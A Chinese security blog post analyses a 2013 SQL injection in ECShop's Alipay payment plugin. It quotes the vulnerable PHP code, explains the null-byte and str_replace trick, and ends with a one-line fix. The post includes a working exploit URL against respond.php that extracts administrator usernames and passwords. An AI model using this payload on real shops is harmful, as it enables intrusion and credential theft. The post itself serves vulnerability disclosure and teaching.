阿峰博客 阿峰'S blog

  • 首页
  • 移动安全
    • Android安全
    • iOS安全
    • APP安全
  • 新闻资讯
    • IT新闻
    • 安全资讯
  • 信息安全
    • WEB安全
    • 系统安全
    • 终端安全
    • 安全工具
  • 建站优化
    • 网站优化
    • 网络营销
  • 资源共享
  • 关于博客
    • 申请友链
    • 在线投稿
不忘初心,砥砺前行。
  1. 首页
  2. 信息安全
  3. 正文

ecshop最新注入0day漏洞详细分析报告-

2013 年 2 月 20 日 3338点热度 0人点赞 0条评论

漏洞作者:360
漏洞分析:Seay
博客:www.cnseay.com

今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。

由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。

漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

?View Code PHP
function respond()
    {
        if (!empty($_POST))
        {
            foreach($_POST as $key =>$data)
            {
                $_GET[$key] = $data;
            }
        }
        $payment  = get_payment($_GET['code']);
        $seller_email = rawurldecode($_GET['seller_email']);
        $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);
        $order_sn = trim($order_sn);

        /* 检查支付的金额是否相符 */
        if (!check_money($order_sn, $_GET['total_fee']))
        {
	/*----省略----*/

$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换 掉$_GET['out_trade_no']参数里面的反斜杠\。
最终$order_sn被带入check_money()函数。我们跟进看一下

在include\lib_payment.php文件中109行.

?View Code PHP
function check_money($log_id, $money)
{
    $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') .
              " WHERE log_id = '$log_id'";
    $amount = $GLOBALS['db']->;getOne($sql);

    if ($money == $amount)
    {
    /*----省略----*/

此处就是漏洞现场。原来的$order_sn被带入了数据库。
利用实践:
首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的,
测试代码

?View Code PHP
<?php 
$a=addslashes($_GET['a']);
$b=addslashes($_GET['b']);
print_r($a.'<br />');
print_r($b.'<br />');
print_r(str_replace($a,'',$b));

?>

效果图:
xss
调用respond()函数的文件是respond.php,所以要在respond.php文件利用。
最终利用EXP:

?View Code PHP
http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat
(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables 
group by a)Seay) -- By seay

http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)Seay) — By seay

exp

修复:
\includes\modules\payment\alipay.php 文件 respond()函数,第216行修改为
$order_sn = addslashes(trim($order_sn));

标签: 暂无
最后更新:2013 年 2 月 20 日

阿峰

保持饥渴的专注,追求最佳的品质

点赞
< 上一篇
下一篇 >

文章评论

取消回复

标签聚合
端口扫描 网络安全 关键字 perl 工具 Wordpress xss漏洞 渗透测试
最新 热点 随机
最新 热点 随机
安卓批量搜索分析Java 类/对象结构脚本工具 MAC下在Genymotion模拟器中使用IDA动态调试android安卓应用 Joy:一款用于捕获和分析网络内部流量数据的工具 One-Lin3r:懒人的福音,渗透测试单行化工具 EvilURL v2.0一个生成用于钓鱼攻击的IDN域名的工具 国产网站恶意代码监测(网马监控)工具优化版
MAC下在Genymotion模拟器中使用IDA动态调试android安卓应用安卓批量搜索分析Java 类/对象结构脚本工具
最新全球网站排行榜(腾讯和百度进前十) 清空删除web文件夹下的所有文件 linux+apache+mysql+php安全加固配置说明 WAFNinja:一款绕过WAF的渗透测试工具 绕过xss过滤器,IE8 xss filter bypass 利用aspx构造注射来跨站
最近评论
发布于 2 年前(07月07日) 小哥,可以帮忙把我的友链修改为 https://feifanblog.com 么?谢谢啦~
发布于 3 年前(07月23日) top.document.body.innerHTML=""; 这个是1.js 还是xss ...
发布于 3 年前(11月22日) 看错了,还以为是你买的register.com呢。。。
发布于 3 年前(10月22日) 大佬 求sql 放正系统注入工具
发布于 4 年前(05月27日) 感觉还是非常复杂的呢。。。。

COPYRIGHT © 2021 阿峰博客 阿峰'S blog. ALL RIGHTS RESERVED.

本站发布的内容仅限于学习和研究,请勿用于非法渗透和攻击,否则一切后果请自负;遵守法律法规,做一个合格的安全从业者。